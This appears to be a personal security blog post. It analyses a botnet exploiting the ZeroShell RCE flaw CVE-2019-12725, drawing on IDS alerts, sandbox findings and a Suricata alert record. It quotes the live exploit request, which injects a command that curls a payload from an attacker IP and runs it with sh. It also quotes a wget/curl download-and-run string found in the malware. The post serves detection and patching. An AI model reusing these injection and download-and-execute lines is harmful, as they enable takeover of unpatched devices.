A New Botnet is Targeting Network Infrastructure

A New Botnet is Targeting Network Infrastructure

Starting a little less than two weeks ago, my IDS sensors have been detecting the spread of a new botnet. Unlike previous Mirai botnets, this appears to specifically target the GNU/Linux firewall distribution, “ZeroShell”. While it’s not especially dangerous as far as botnets are concerned, it does appear to be rather vigorous when it sends probes.

However, we got lucky this time. Just as quickly it appeared, the C&C server went offline stopping the spread of this worm dead in its tracks. Still, this serves as a useful lesson to every network admin - patch soon; patch often.


This particular exploit is CVE-2019-12725, a CVSS 9.8 vulnerability in the HTTP parser that can lead to remote code execution with a crafted GET request. Though this appears to be a (fairly) old vulnerability, hackers have been working hard recently to exploit unpatched devices.

The maintainers of ZeroShell have also addressed this vulnerability on their official blog. The date of the CVE and subsequent blog post are both nearly a year ago at this point, so most devices should have been patched by now.


According to my ElasticSearch database, the first hit on my home server was 2020/07/20, and originated from Guangzhou, China. However, the first time that an alert was generated was 2020/07/25. This makes sense, since the ET rule that identified this exploit (id 1:2030597) was only created on 2020/07/24.

Since then, I have observed exploitation attempts from over 50 unique IPs, from China, Russia, South Korea, Canada, UK, Norway, and the United States. At this point, it’s safe to say this is a widespread issue only limited by the size of the ZeroShell user community.


An exploitation attempt will likely leave this in your HTTPD logs: - - [20/Jul/2020:09:03:23 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 301 178 "-" "-"

Chasing down the exploit was rather interesting. Soon after discovering this malware, I submitted a sample to CrowdStrike’s free sandbox:


The first stage was a simple bash script which attempts to download and run various payloads depending on the CPU architecture (mips, arm, x86 etc). Then, the second stage malware is downloaded. I analyzed the x86 version, since it will easily run inside the sandbox environment:


Interesting content

The executable is a statically linked, stripped ELF binary. Looking inside it, there are some interesting strings:

 shell:cd /data/local/tmp; busybox wget -O -> wwww; sh wwww; curl -O; sh curl; rm wwww curl

This command downloads two additional scripts from the same server, wget or wwww and curl. Despite the familiar names, these are indeed malware scripts. Unfortunately, by the time I noticed these the server had been taken down or blocked.

Also contained in the binary is a link to a youtube video, titled “NOW YOU FUCKED UP” https://www.youtube.ru/watch?v=OGp9P6QvMjY

I am not sure if the creator of the video is at all affiliated with this malware sample, and I won’t speculate.

Stroke of Luck

Thankfully, the server that was distributing the malware quickly went offline.

Today the server seems to be dormant, at least according to Shodan: https://www.shodan.io/host/

And, fortunately the binaries analyzed had the IP address hardcoded in, meaning that the hosts already infected won’t spread anymore.

Full Event Details

A sample event is provided:

  "_index": "logstash-2020.07",
  "_type": "doc",
  "_id": "xxxx",
  "_version": 1,
  "_score": null,
  "_source": {
    "dest_port": 80,
    "tags": [
    "log": {
      "file": {
        "path": "/var/log/suricata/eve.json"
    "beat": {
      "version": "6.8.10",
      "hostname": "fw",
      "name": "fw"
    "app_proto": "http",
    "source": "/var/log/suricata/eve.json",
    "tx_id": 0,
    "timestamp": "2020-07-25T08:14:37.117055-0400",
    "flow_id": 0000000,
    "host": {
      "name": "fw"
    "offset": 0000000,
    "flow": {
      "pkts_toserver": 4,
      "bytes_toserver": 390,
      "bytes_toclient": 566,
      "pkts_toclient": 4,
      "start": "2020-07-25T08:14:36.413400-0400"
    "@timestamp": "2020-07-25T12:14:38.095Z",
    "proto": "TCP",
    "prospector": {
      "type": "log"
    "alert": {
      "metadata": {
        "deployment": [
        "former_category": [
        "performance_impact": [
        "signature_severity": [
        "updated_at": [
        "created_at": [
        "attack_target": [
      "category": "Attempted Administrator Privilege Gain",
      "action": "allowed",
      "rev": 2,
      "signature_id": 2030597,
      "gid": 1,
      "signature": "ET EXPLOIT [401TRG] ZeroShell RCE Inbound (CVE-2019-12725)",
      "severity": 1
    "src_ip": "",
    "@version": "1",
    "src_port": 5157,
    "event_type": "alert",
    "stream": 1,
    "input": {
      "type": "log"
    "in_iface": "eth0",
    "http": {
      "url": "/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22",
      "http_method": "GET",
      "protocol": "HTTP/1.0",
      "length": 0
    "geoip": {
      "city_name": "Guangzhou",
      "location": {
        "lon": 113.25,
        "lat": 23.1167
      "country_name": "China",
      "region_code": "44",
      "ip": "",
      "region_name": "Guangdong",
      "country_code3": "CN",
      "timezone": "Asia/Shanghai",
      "longitude": 113.25,
      "continent_code": "AS",
      "latitude": 23.1167,
      "country_code2": "CN"
    "dest_ip": "10.x.x.x"
  "fields": {
    "flow.start": [
    "@timestamp": [
  "highlight": {
    "event_type": [
    "http.url": [
  "sort": [